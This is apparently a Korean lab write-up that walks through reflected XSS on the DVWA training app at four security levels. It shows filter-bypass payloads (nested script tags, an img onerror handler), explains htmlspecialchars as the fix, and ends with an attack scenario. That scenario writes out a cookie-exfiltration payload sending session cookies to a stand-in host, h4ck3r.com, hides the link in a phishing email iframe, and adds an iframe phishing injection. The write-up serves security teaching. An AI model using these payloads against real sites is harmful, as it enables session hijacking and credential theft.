[DVWA] XSS (Reflected)

Vulnerability: XSS (Reflected)

XSS 취약점은 사용자의 입력 값을 HTML에서 출력하는 부분에서 발생한다. 본 실습에서는 입력 값이 반사되어 출력되는 경우에 대하여 XSS가 가능한지 여부를 확인한다.

DVWA XSS(Reflected) 실습

실습 환경
- Windows Docker를 이용한 DVWA
- Windows 환경의 Burp Suite

Low, Medium, High, Impossible 레벨에 상관없이 위와 같은 페이지가 나오고, 입력창에 입력하는 값을 해당 페이지에 그대로 반사시켜 출력해주는 애플리케이션이다.

alert(document.cookie);

위와 같이 쿠키를 출력해주는 것을 목표로 할 것이다.

 

Security Level: Low

< ' " > 확인하기

우선 XSS 가능여부 확인을 위해 < ' " > 를 입력하여 응답을 확인해본다.

(Burp Suite를 통해 확인되는 응답은 다르지만, 웹 상의 출력은 어떤 레벨에서든 위와 같이 동일하게 나온다.)

Low 레벨의 요청을 확인해보면 위와 같고, 해당 요청의 응답은 다음과 같다.

위와 같이 입력한 < ' " > 가 그대로 출력되고 있는 것을 확인할 수 있다.

 

쿠키(Cookie) 탈취

쿠키를 출력하기 위해 script 태그 안에 alert()를 이용하여 document.cookie를 출력한다. 아래와 같은 코드를 우선 시도해본다.

<script>alert(document.cookie);</script>

그 결과 다음과 같이 쿠키가 알림창에 출력되는 것을 확인할 수 있다.

script 태그가 활성화 되어있기 때문에 다음과 같이 이름이 웹 상에는 출력되지 않는다.

Burp Suite를 통해 확인해보면 다음과 같이 스크립트 태그가 활성화 되어 alert()가 활성화 되어 있는 것을 확인할 수 있다.

---

Security Level: Medium

< ' " > 확인하기

우선 XSS 가능여부 확인을 위해 < ' " > 를 입력하여 응답을 확인해본다.

(Burp Suite를 통해 확인되는 응답은 다르지만, 웹 상의 출력은 어떤 레벨에서든 위와 같이 동일하게 나온다.)

Medium 레벨의 요청을 확인해보면 위와 같고, 해당 요청의 응답은 다음과 같다.

위와 같이 입력한 < ' " > 가 그대로 출력되고 있는 것을 확인할 수 있다.

 

쿠키(Cookie) 탈취

쿠키를 출력하기 위해 script 태그 안에 alert()를 이용하여 document.cookie를 출력한다. 아래와 같은 코드를 우선 시도해본다.

<script>alert(document.cookie);</script>

위와 같이 입력한 결과 다음과 같이 일부분만 그대로 출력되었다. 스크립트가 활성화 되지 않았다는 의미이다.

Burp Suite을 이용하여 요청과 응답을 살펴보면 다음과 같다.

위와 같이 앞뒤의 <script> 가 지워진 것을 확인할 수 있다. 즉, 필터링이 이루어지고 있다는 것이다.

해당 소스코드를 살펴보면 다음과 같다.

위와 같이 입력 값에 대하여 <script>를 공백 문자로 치환하고 있는 것을 확인할 수 있다. 그래서 지워진 것이다.

하지만 위와 같이 특정 단어만을 치환하는 경우에는 해당 문자 사이에 필터링 되는 문자를 삽입하는 방식으로 우회가 가능하다.

<script>  -> <scr<script>ipt>

위와 같이 입력하는 경우 <script> 가 공백이 되면서 <scr 과 ipt> 가 붙게 되어 <script> 가 된다는 것이다.

그러므로 다음과 같이 입력하여 쿠키 출력을 시도해본다.

<scr<script>ipt>alert(document.cookie);</script>

위와 같이 입력하는 경우 다음과 같이 쿠키가 알림창에 출력되는 것을 확인할 수 있다.

그리고 다음과 같이 스크립트가 활성화 되어있기 때문에 웹 상에는 출력되지 않는다.

이것을 Burp Suite으로 확인해보면 다음과 같다.

---

Security Level: High

< ' " > 확인하기

우선 XSS 가능여부 확인을 위해 < ' " > 를 입력하여 응답을 확인해본다.

(Burp Suite를 통해 확인되는 응답은 다르지만, 웹 상의 출력은 어떤 레벨에서든 위와 같이 동일하게 나온다.)

High 레벨의 요청을 확인해보면 위와 같고, 해당 요청의 응답은 다음과 같다.

위와 같이 입력한 < ' " > 가 그대로 출력되고 있는 것을 확인할 수 있다.

 

쿠키(Cookie) 탈취

쿠키를 출력하기 위해 script 태그 안에 alert()를 이용하여 document.cookie를 출력한다. 아래와 같은 코드를 우선 시도해본다.

<script>alert(document.cookie);</script>

위와 같이 입력한 결과 다음과 같이 >만 그대로 출력되었다. 스크립트가 활성화 되지 않았다는 의미이다.

Burp Suite을 이용하여 요청과 응답을 살펴보면 다음과 같다.

다음과 같이 script 로 시작해서 > 전까지의 모든 것이 지워진 것을 확인할 수 있는데, 소스코드를 확인해보면 다음과 같다.

PHP의 preg_replace() 함수를 이용하여 <*s*c*r*i*p*t 규칙에 해당하는 문자열을 대소문자 구분하지 않고 제거해버린다. 

즉, "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" 등의 문자열로 시작하는 문자열을 제거한다는 것이다. 때문에 <script> 태그를 이용하는 방법은 불가능하다.

하지만 script를 삽입하는 방법이 <script> 태그만 있는 것이 아니라는 것을 생각해야 한다.

(OWASP의 XSS 필터링 우회법(XSS Filter Evasion Cheat Sheet)을 살펴보면 너무나 많은 방법이 있다.)

여기서는 img 태그를 이용한 방법을 이용할 것이고 입력값은 다음과 같다.

<img src=x onerror=alert(document.cookie);>

위와 같이 입력하는 경우 img 주소가 x 로 불러오는 것이 불가능 하기 때문에, 에러가 발생하고 onerror 라는 EventHandler에 의해 쿠키를 출력하는 알림창을 띄우게 된다.

위와 같이 불러오는데 실패한 img 가 뜨고 알림창에 쿠키가 출력되는 것을 확인할 수 있다. 이를 Burp Suite를 통해 확인해보면 다음과 같다.

위와 같이 img 태그의 경우는 활성화되는 것을 확인할 수 있고, 다음과 같이 img 를 불러오는데 실패하였다는 것을 확인할 수 있다.

---

Security Level: Impossible

< ' " > 확인하기

우선 XSS 가능여부 확인을 위해 < ' " > 를 입력하여 응답을 확인해본다.

(Burp Suite를 통해 확인되는 응답은 다르지만, 웹 상의 출력은 어떤 레벨에서든 위와 같이 동일하게 나온다.)

Impossible 레벨의 요청을 확인해보면 위와 같고, 해당 요청의 응답은 다음과 같다.

위와 같이 입력한 < ' " > 중 ' 를 제외한 나머지가 그대로 출력되지 않고, HTML Entity로  변환되어있는 것을 확인할 수 있다. 그대로 출력되는 것 처럼보이지만 실제로는 HTML에 영향을 주지 않는 다는 것이다.

위의 경우에는 스크립트 삽입이 불가능하다. 하지만 어떤식으로 출력이 나오는지 확인하기 위해 Low 레벨에서 확인해봤던 스크립트를 삽입해본다.

 

쿠키(Cookie) 탈취 - 불가능

<script>alert(document.cookie);</script>

위와 같이 입력하는 경우, 다음과 같이 해당 입력이 스크립트로서 활성화되는 것이 아니라 문자 그대로 출력되는 것을 확인할 수 있다.

이를 Burp Suite로 확인해보면 다음과 같이 HTML Entity 변환을 통해 스크립트에 영향을 줄 수 있는 문자들을 바꾸어 준 것을 확인할 수 있다.

해당 소스코드를 살펴보면 다음과 같다.

위와 같이 htmlspecialchars를 이용하여 HTML 특수문자에 대한 변환을 시켜주고 있다는 것을 알 수 있다.

( & )는 &amp; 로 변환
( > )는 &gt; 로 변환
( < )는 &lt; 로 변환
( " )는 &quot; 로 변환
(htmlspecialchars() 함수 사용시 ENT_QUOTES를 설정하면 작은따옴표(')는 &#039;로 변환)

Impossible 레벨에서는 < " > 에 대하여 HTML Entity로의 변환을 통해 차단하고 있다. 특수한 상황에서는 htmlspecialchars() 함수를 사용하더라도 자바스크립트 삽입이 가능할 수 있다. (사용자가 입력한 값을 <script> 내에 출력하여 웹 브라우저로 전달할 때에 그런 경우가 발생할 수 있다.)

---

공격 시나리오

세션(Session) 탈취

세션 탈취에 대한 시나리오를 생각해보면 다음과 같다.

세션 쿠키를 빼내면 피해자의 권한을 탈취할 수 있다. 공격자는 취약점을 파악하고 변수 값을 조작하여 <img width="0" height="0" src="x" onerror="document.location='http://h4ck3r.com/log_cookie.cgi?cookie='+document.cookie"> 과 같이 쿠키(cookie)값을 h4ck3r.com 으로 전달하도록 하는 공격 구문이다. 해당 구문을 삽입한 URL은 다음과 같다. (Medium  레벨 기준)

http://localhost/vulnerabilities/xss_r/?name=%3Cimg+width%3D%220%22+height%3D%220%22+src%3D%22x%22+onerror%3D%22document.location%3D%27http%3A%2F%2Fh4ck3r.com%2Flog_cookie.cgi%3Fcookie%3D%27%2Bdocument.cookie%22%3E

공격자가 해당 링크를 관리자가 클릭하도록 유도하기 위해 메일을 통해 해당 URL을 보낸다. 관리자가 관심 가질만한 내용의 메일을 보내면서 <iframe>을 통해 해당 URL을 은닉시켜 첨부하는 것이다.

관리자가 해당 사이트를 몇분 전까지 관리자 계정으로 접속했다가 해당 탭을 껐지만, 웹 브라우저를 종료하지는 않았다면? 그리고 동일한 웹 브라우저에서 공격자가 보낸 메일을 읽는다면? 공격자가 <iframe>에 숨겨둔 위의 URL이 실행되지만 관리자는 눈치재지 못한다.

https://h4ck3r.com/log_cookie.cgi?cookie=PHPSESSID=krp2eou9c1jfalakj0j1b4ptp3;%20security=medium

해당 URL의 접속을 통해 공격자의 서버로 관리자의 세션 ID가 전달된다.

공격자는 자신의 서버로 전달된 쿠키(cookie)값에 포함되어 있는 세션ID를 자신의 웹 브라우저에 입력하여, 공격자는 해당 웹 사이트의 관리자 권한으로 접속하게 된다.

일반적으로 쿠키의 경우, 유효기간을 정하지 않는 경우가 많다. 이런 경우에는 웹 브라우저를 완전히 종료하지 않는 한은, 웹 브라우저는 쿠키를 계속해서 저장하고 있게된다.
위의 시나리오에서도 보면, 관리자가 관리자 페이지의 탭(Tab)을 껐더라도, 해당 쿠키가 살아 있는 경우 내부의 세션 값이 그대로 살아 있게 된다는 것이다.

세션에 대하여 타임아웃을 설정하거나 (Session Timeout), 사용 후에는 로그아웃을 권장하는 등의 다양한 권고사항이 있을 수 있지만, 잘 지켜지지 않는 경우가 많다. 그러므로 XSS 취약점을 보완하는 것이 중요하다고 볼 수 있다.

 

피싱(Phishing) 사이트 리디렉션(Redirection)

쿠키(Cookie)와 세션(Session)에 대하여 HttpOnly가 설정되어 있는 경우에는 세션 탈취가 어려울 수 있다. 이런 경우 피싱(Phishing) 사이트로 리디렉션(Redirect)시켜 해당 페이지에서 공격자가 원하는 값을 입력하도록 유도하는 방법이 있다.

You need to login to use this page.<br></pre><iframe width=600 height=400 src="http://localhost/"></iframe>

위와 같이 입력하는 경우 iframe 내부에 웹 페이지를 불러올 수 있고, 해당 페이지를 알아차리기 힘들게 교묘하게 만들어 둔 경우, 해당 페이지에 접속한 이용자는 의심없이 본인의 아이디(Id) 와 비밀번호(Passoword)를 입력할 것이다. 하지만 해당 페이지는 피싱페이지 일 것이므로 입력하는 정보는 공격자에게 전달되고, 해당 이용자의 계정이 탈취될 것이다.

http://localhost 로 접속하도록 유도한 것으로, 해당 페이지가 만약, 피싱 페이지이고 잘 만들어져 있다면 의심하지 않을 수 있다.

---

질문 환영, 수정 및 보완에 대한 지적 환영